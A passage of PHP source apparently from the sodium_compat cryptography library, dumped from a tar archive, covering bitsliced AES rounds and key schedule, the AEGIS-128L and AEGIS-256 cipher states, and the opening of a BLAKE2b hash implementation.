        $s2 = $t55 ^ ~$t67;

        $q[7] = $s0 & self::U32_MAX;
        $q[6] = $s1 & self::U32_MAX;
        $q[5] = $s2 & self::U32_MAX;
        $q[4] = $s3 & self::U32_MAX;
        $q[3] = $s4 & self::U32_MAX;
        $q[2] = $s5 & self::U32_MAX;
        $q[1] = $s6 & self::U32_MAX;
        $q[0] = $s7 & self::U32_MAX;
    }

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function invSbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
        self::processInversion($q);
        self::sbox($q);
        self::processInversion($q);
    }

    /**
     * This is some boilerplate code needed to invert an S-box. Rather than repeat the code
     * twice, I moved it to a protected method.
     *
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    protected static function processInversion(ParagonIE_Sodium_Core_AES_Block $q)
    {
        $q0 = (~$q[0]) & self::U32_MAX;
        $q1 = (~$q[1]) & self::U32_MAX;
        $q2 = $q[2] & self::U32_MAX;
        $q3 = $q[3] & self::U32_MAX;
        $q4 = $q[4] & self::U32_MAX;
        $q5 = (~$q[5])  & self::U32_MAX;
        $q6 = (~$q[6])  & self::U32_MAX;
        $q7 = $q[7] & self::U32_MAX;
        $q[7] = ($q1 ^ $q4 ^ $q6) & self::U32_MAX;
        $q[6] = ($q0 ^ $q3 ^ $q5) & self::U32_MAX;
        $q[5] = ($q7 ^ $q2 ^ $q4) & self::U32_MAX;
        $q[4] = ($q6 ^ $q1 ^ $q3) & self::U32_MAX;
        $q[3] = ($q5 ^ $q0 ^ $q2) & self::U32_MAX;
        $q[2] = ($q4 ^ $q7 ^ $q1) & self::U32_MAX;
        $q[1] = ($q3 ^ $q6 ^ $q0) & self::U32_MAX;
        $q[0] = ($q2 ^ $q5 ^ $q7) & self::U32_MAX;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function subWord($x)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
            array($x, $x, $x, $x, $x, $x, $x, $x)
        );
        $q->orthogonalize();
        self::sbox($q);
        $q->orthogonalize();
        return $q[0] & self::U32_MAX;
    }

    /**
     * Calculate the key schedule from a given random key
     *
     * @param string $key
     * @return ParagonIE_Sodium_Core_AES_KeySchedule
     * @throws SodiumException
     */
    public static function keySchedule($key)
    {
        $key_len = self::strlen($key);
        switch ($key_len) {
            case 16:
                $num_rounds = 10;
                break;
            case 24:
                $num_rounds = 12;
                break;
            case 32:
                $num_rounds = 14;
                break;
            default:
                throw new SodiumException('Invalid key length: ' . $key_len);
        }
        $skey = array();
        $comp_skey = array();
        $nk = $key_len >> 2;
        $nkf = ($num_rounds + 1) << 2;
        $tmp = 0;

        for ($i = 0; $i < $nk; ++$i) {
            $tmp = self::load_4(self::substr($key, $i << 2, 4));
            $skey[($i << 1)] = $tmp;
            $skey[($i << 1) + 1] = $tmp;
        }

        for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) {
            if ($j === 0) {
                $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8);
                $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX;
            } elseif ($nk > 6 && $j === 4) {
                $tmp = self::subWord($tmp);
            }
            $tmp ^= $skey[($i - $nk) << 1];
            $skey[($i << 1)] = $tmp & self::U32_MAX;
            $skey[($i << 1) + 1] = $tmp & self::U32_MAX;
            if (++$j === $nk) {
                /** @psalm-suppress LoopInvalidation */
                $j = 0;
                ++$k;
            }
        }
        for ($i = 0; $i < $nkf; $i += 4) {
            $q = ParagonIE_Sodium_Core_AES_Block::fromArray(
                array_slice($skey, $i << 1, 8)
            );
            $q->orthogonalize();
            // We have to overwrite $skey since we're not using C pointers like BearSSL did
            for ($j = 0; $j < 8; ++$j) {
                $skey[($i << 1) + $j] = $q[$j];
            }
        }
        for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) {
            $comp_skey[$i] = ($skey[$j] & 0x55555555)
                | ($skey[$j + 1] & 0xAAAAAAAA);
        }
        return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @param int $offset
     * @return void
     */
    public static function addRoundKey(
        ParagonIE_Sodium_Core_AES_Block $q,
        ParagonIE_Sodium_Core_AES_KeySchedule $skey,
        $offset = 0
    ) {
        $block = $skey->getRoundKey($offset);
        for ($j = 0; $j < 8; ++$j) {
            $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function decryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('decryptBlockECB() expects a 16 byte message');
        }
        $skey = self::keySchedule($key)->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceDecryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * This mainly exists for testing, as we need the round key features for AEGIS.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function encryptBlockECB($message, $key)
    {
        if (self::strlen($message) !== 16) {
            throw new SodiumException('encryptBlockECB() expects a 16 byte message');
        }
        $comp_skey = self::keySchedule($key);
        $skey = $comp_skey->expand();
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($message, 0, 4));
        $q[2] = self::load_4(self::substr($message, 4, 4));
        $q[4] = self::load_4(self::substr($message, 8, 4));
        $q[6] = self::load_4(self::substr($message, 12, 4));

        $q->orthogonalize();
        self::bitsliceEncryptBlock($skey, $q);
        $q->orthogonalize();

        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Mutates $q
     *
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceEncryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey);
        for ($u = 1; $u < $skey->getNumRounds(); ++$u) {
            self::sbox($q);
            $q->shiftRows();
            $q->mixColumns();
            self::addRoundKey($q, $skey, ($u << 3));
        }
        self::sbox($q);
        $q->shiftRows();
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function aesRound($x, $y)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        $q[0] = self::load_4(self::substr($x, 0, 4));
        $q[2] = self::load_4(self::substr($x, 4, 4));
        $q[4] = self::load_4(self::substr($x, 8, 4));
        $q[6] = self::load_4(self::substr($x, 12, 4));

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4));
        $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4));
        $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4));
        $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return self::store32_le($q[0]) .
            self::store32_le($q[2]) .
            self::store32_le($q[4]) .
            self::store32_le($q[6]);
    }

    /**
     * Process two AES blocks in one shot.
     *
     * @param string $b0  First AES block
     * @param string $rk0 First round key
     * @param string $b1  Second AES block
     * @param string $rk1 Second round key
     * @return string[]
     */
    public static function doubleRound($b0, $rk0, $b1, $rk1)
    {
        $q = ParagonIE_Sodium_Core_AES_Block::init();
        // First block
        $q[0] = self::load_4(self::substr($b0, 0, 4));
        $q[2] = self::load_4(self::substr($b0, 4, 4));
        $q[4] = self::load_4(self::substr($b0, 8, 4));
        $q[6] = self::load_4(self::substr($b0, 12, 4));
        // Second block
        $q[1] = self::load_4(self::substr($b1, 0, 4));
        $q[3] = self::load_4(self::substr($b1, 4, 4));
        $q[5] = self::load_4(self::substr($b1, 8, 4));
        $q[7] = self::load_4(self::substr($b1, 12, 4));;

        $rk = ParagonIE_Sodium_Core_AES_Block::init();
        // First round key
        $rk[0] = self::load_4(self::substr($rk0, 0, 4));
        $rk[2] = self::load_4(self::substr($rk0, 4, 4));
        $rk[4] = self::load_4(self::substr($rk0, 8, 4));
        $rk[6] = self::load_4(self::substr($rk0, 12, 4));
        // Second round key
        $rk[1] = self::load_4(self::substr($rk1, 0, 4));
        $rk[3] = self::load_4(self::substr($rk1, 4, 4));
        $rk[5] = self::load_4(self::substr($rk1, 8, 4));
        $rk[7] = self::load_4(self::substr($rk1, 12, 4));

        $q->orthogonalize();
        self::sbox($q);
        $q->shiftRows();
        $q->mixColumns();
        $q->orthogonalize();
        // add round key without key schedule:
        for ($i = 0; $i < 8; ++$i) {
            $q[$i] ^= $rk[$i];
        }
        return array(
            self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]),
            self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]),
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_AES_Expanded $skey
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function bitsliceDecryptBlock(
        ParagonIE_Sodium_Core_AES_Expanded $skey,
        ParagonIE_Sodium_Core_AES_Block $q
    ) {
        self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3));
        for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) {
            $q->inverseShiftRows();
            self::invSbox($q);
            self::addRoundKey($q, $skey, ($u << 3));
            $q->inverseMixColumns();
        }
        $q->inverseShiftRows();
        self::invSbox($q);
        self::addRoundKey($q, $skey, ($u << 3));
    }
}
Core/AEGIS/State128L.php000064400000020052151024233030010414 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State128L', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State128L
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 8, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 8) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 8; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();

        // S0 = key ^ nonce
        $state->state[0] = $key ^ $nonce;
        // S1 = C1
        $state->state[1] = SODIUM_COMPAT_AEGIS_C1;
        // S2 = C0
        $state->state[2] = SODIUM_COMPAT_AEGIS_C0;
        // S3 = C1
        $state->state[3] = SODIUM_COMPAT_AEGIS_C1;
        // S4 = key ^ nonce
        $state->state[4] = $key ^ $nonce;
        // S5 = key ^ C0
        $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0;
        // S6 = key ^ C1
        $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1;
        // S7 = key ^ C0
        $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0;

        // Repeat(10, Update(nonce, key))
        for ($i = 0; $i < 10; ++$i) {
            $state->update($nonce, $key);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }
        $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16);
        return $this->update($t0, $t1);
    }


    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(out0, out1)
        // xi = out0 || out1
        $this->update($out0, $out1);
        return $out0 . $out1;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(ZeroPad(cn, 256), 128)
        $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT);
        $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16);
        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // xn = Truncate(out0 || out1, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len);

        // v0, v1 = Split(ZeroPad(xn, 256), 128)
        $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT);
        $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16);
        $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16);
        // Update(v0, v1)
        $this->update($v0, $v1);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(t0, t1)
        // ci = out0 || out1
        $this->update($t0, $t1);

        // return ci
        return $out0 . $out1;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[2] ^ $encoded;
        for ($i = 0; $i < 7; ++$i) {
            $this->update($t, $t);
        }
        return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) .
            ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]);
    }

    /**
     * @param string $m0
     * @param string $m1
     * @return self
     */
    public function update($m0, $m1)
    {
        /*
           S'0 = AESRound(S7, S0 ^ M0)
           S'1 = AESRound(S0, S1)
           S'2 = AESRound(S1, S2)
           S'3 = AESRound(S2, S3)
           S'4 = AESRound(S3, S4 ^ M1)
           S'5 = AESRound(S4, S5)
           S'6 = AESRound(S5, S6)
           S'7 = AESRound(S6, S7)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[7], $this->state[0] ^ $m0,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );

        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4] ^ $m1,
            $this->state[4], $this->state[5]
        );
        list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5], $this->state[6],
            $this->state[6], $this->state[7]
        );

        /*
           S0  = S'0
           S1  = S'1
           S2  = S'2
           S3  = S'3
           S4  = S'4
           S5  = S'5
           S6  = S'6
           S7  = S'7
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        $this->state[6] = $s_6;
        $this->state[7] = $s_7;
        return $this;
    }
}Core/AEGIS/State256.php000064400000014575151024233030010317 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State256', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State256
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 6, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 6) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 6; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();
        $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16);
        $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16);
        $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16);
        $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16);

        // S0 = k0 ^ n0
        // S1 = k1 ^ n1
        // S2 = C1
        // S3 = C0
        // S4 = k0 ^ C0
        // S5 = k1 ^ C1
        $k0_n0 = $k0 ^ $n0;
        $k1_n1 = $k1 ^ $n1;
        $state->state[0] = $k0_n0;
        $state->state[1] = $k1_n1;
        $state->state[2] = SODIUM_COMPAT_AEGIS_C1;
        $state->state[3] = SODIUM_COMPAT_AEGIS_C0;
        $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0;
        $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1;

        // Repeat(4,
        //   Update(k0)
        //   Update(k1)
        //   Update(k0 ^ n0)
        //   Update(k1 ^ n1)
        // )
        for ($i = 0; $i < 4; ++$i) {
            $state->update($k0);
            $state->update($k1);
            $state->update($k0 ^ $n0);
            $state->update($k1 ^ $n1);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     * @throws SodiumException
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        return $this->update($ai);
    }

    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $xi = $ci ^ $z;
        $this->update($xi);
        return $xi;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);

        // t = ZeroPad(cn, 128)
        $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT);

        // out = t ^ z
        $out = $t ^ $z;

        // xn = Truncate(out, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len);

        // v = ZeroPad(xn, 128)
        $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT);
        // Update(v)
        $this->update($v);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $this->update($xi);
        return $xi ^ $z;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[3] ^ $encoded;

        for ($i = 0; $i < 7; ++$i) {
            $this->update($t);
        }

        return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) .
            ($this->state[3] ^ $this->state[4] ^ $this->state[5]);
    }

    /**
     * @param string $m
     * @return self
     */
    public function update($m)
    {
        /*
            S'0 = AESRound(S5, S0 ^ M)
            S'1 = AESRound(S0, S1)
            S'2 = AESRound(S1, S2)
            S'3 = AESRound(S2, S3)
            S'4 = AESRound(S3, S4)
            S'5 = AESRound(S4, S5)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5],$this->state[0] ^ $m,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );
        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4],
            $this->state[4], $this->state[5]
        );

        /*
            S0  = S'0
            S1  = S'1
            S2  = S'2
            S3  = S'3
            S4  = S'4
            S5  = S'5
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        return $this;
    }
}
Core/BLAKE2b.php000064400000057200151024233030007204 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    protected static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    protected static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function new64($high, $low)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $i64 = new SplFixedArray(2);
        $i64[0] = $high & 0xffffffff;
        $i64[1] = $low & 0xffffffff;
        return $i64;
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return SplFixedArray
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    protected static function add64($x, $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $l = ($x[1] + $y[1]) & 0xffffffff;
        return self::new64(
            (int) ($x[0] + $y[0] + (
                ($l < $x[1]) ? 1 : 0
            )),
            (int) $l
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @param SplFixedArray $z
     * @return SplFixedArray
     */
    protected static function add364($x, $y, $z)
    {
        return self::add64($x, self::add64($y, $z));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function xor64(SplFixedArray $x, SplFixedArray $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if (!is_numeric($x[0])) {
            throw new SodiumException('x[0] is not an integer');
        }
        if (!is_numeric($x[1])) {
            throw new SodiumException('x[1] is not an integer');
        }
        if (!is_numeric($y[0])) {
            throw new SodiumException('y[0] is not an integer');
        }
        if (!is_numeric($y[1])) {
            throw new SodiumException('y[1] is not an integer');
        }
        return self::new64(
            (int) (($x[0] ^ $y[0]) & 0xffffffff),
            (int) (($x[1] ^ $y[1]) & 0xffffffff)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $c
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function rotr64($x, $c)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if ($c >= 64) {
            $c %= 64;
        }
        if ($c >= 32) {
            /** @var int $tmp */
            $tmp = $x[0];
            $x[0] = $x[1];
            $x[1] = $tmp;
            $c -= 32;
        }
        if ($c === 0) {
            return $x;
        }

        $l0 = 0;
        $c = 64 - $c;

        /** @var int $c */
        if ($c < 32) {
            $h0 = ((int) ($x[0]) << $c) | (
                (
                    (int) ($x[1]) & ((1 << $c) - 1)
                        <<
                    (32 - $c)
                ) >> (32 - $c)
            );
            $l0 = (int) ($x[1]) << $c;
        } else {
            $h0 = (int) ($x[1]) << ($c - 32);
        }

        $h1 = 0;
        $c1 = 64 - $c;

        if ($c1 < 32) {
            $h1 = (int) ($x[0]) >> $c1;
